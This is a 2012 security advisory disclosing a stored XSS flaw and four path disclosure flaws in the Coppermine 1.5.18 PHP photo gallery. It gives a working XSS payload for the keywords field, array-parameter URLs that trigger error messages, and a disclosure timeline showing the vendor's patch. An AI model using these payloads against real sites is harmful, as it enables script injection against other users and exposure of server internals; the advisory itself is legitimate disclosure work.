[waraxe-2012-SA#081] - Multiple Vulnerabilities in Coppermine 1.5.18

Author: Janek Vind "waraxe"
Date: 29. March 2012
Location: Estonia, Tartu
Web: http://www.waraxe.us/advisory-81.html

Affected Software:
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Coppermine is a multi-purpose fully-featured and integrated web picture gallery
script written in PHP using GD or ImageMagick as image library with a MySQL backend.

http://coppermine-gallery.net/

Affected versions
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Tests were conducted against Coppermine version 1.5.18.

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1. Stored XSS in picture keywords
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Reason: failure to sufficiently sanitize user-supplied input data
Preconditions: privileges needed for picture keywords editing

Coppermine user with appropriate privileges is able to modify picture information:

http://localhost/cpg1518/edit_one_pic.php?id=1&what=picture

There is a field in form named as "Keywords (separate with semicolon)".
After insertion to database those keywords are later used in html meta section.
It appears, that specific user supplied data is not properly validated before
outputting as html to the end user, resulting in Stored XSS vulnerability.

Testing:

1. Open picture information editing page:

http://localhost/cpg1518/edit_one_pic.php?id=1&what=picture

2. Insert XSS payload below as keywords and click "Apply changes":

"><body onload=javascript:alert(String.fromCharCode(88,83,83))>

After that issue request to view this image:

http://localhost/cpg1518/displayimage.php?pid=1

As result we can observe XSS payload execution.

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2. Path Disclosure in "visiblehookpoints" plugin
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Test:

http://localhost/cpg1518/plugins/visiblehookpoints/index.php

Result:

Warning: require_once(include/init.inc.php) [function.require-once]:
failed to open stream: No such file or directory in
C:apache_wwwcpg1518pluginsvisiblehookpointsindex.php on line 22

Fatal error: require_once() [function.require]:
Failed opening required 'include/init.inc.php' (include_path='.;C:phppear') in
C:apache_wwwcpg1518pluginsvisiblehookpointsindex.php on line 22

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3. Path Disclosure in "thumbnails.php"
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Attack vector: user submitted GET parameters "page" and "cat"

Tests:

http://localhost/cpg1518/thumbnails.php?page[]
http://localhost/cpg1518/thumbnails.php?cat[]

Results:

Fatal error: Unsupported operand types in
C:apache_wwwcpg1518includefunctions.inc.php on line 2980

Fatal error: Unsupported operand types in
C:apache_wwwcpg1518 humbnails.php on line 160

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4. Path Disclosure in "usermgr.php"
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Attack vector: user submitted GET parameter "page"
Preconditions: admin privileges needed

Test:

http://localhost/cpg1518/usermgr.php?page[]

Result:

Fatal error: Unsupported operand types in
C:apache_wwwcpg1518usermgr.php on line 185

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5. Path Disclosure in "search.inc.php"
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Attack vector: user submitted GET parameters "newer_than" and "older_than"

Tests:

http://localhost/cpg1518/thumbnails.php?search=1&album=search&newer_than[]
http://localhost/cpg1518/thumbnails.php?search=1&album=search&older_than[]

Results:

Fatal error: Unsupported operand types in
C:apache_wwwcpg1518includesearch.inc.php on line 106

Fatal error: Unsupported operand types in
C:apache_wwwcpg1518includesearch.inc.php on line 107

Disclosure Timeline:
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27.03.2012 Developers contacted via email
29.03.2012 Developers released patched version 1.5.20
29.03.2012 Public disclosure

Contact:
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come2waraxe@yahoo.com
Janek Vind "waraxe"

Waraxe forum: http://www.waraxe.us/forums.html
Personal homepage: http://www.janekvind.com/
Random project: http://albumnow.com/
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Published on: 2012-03-29 (17664 reads)

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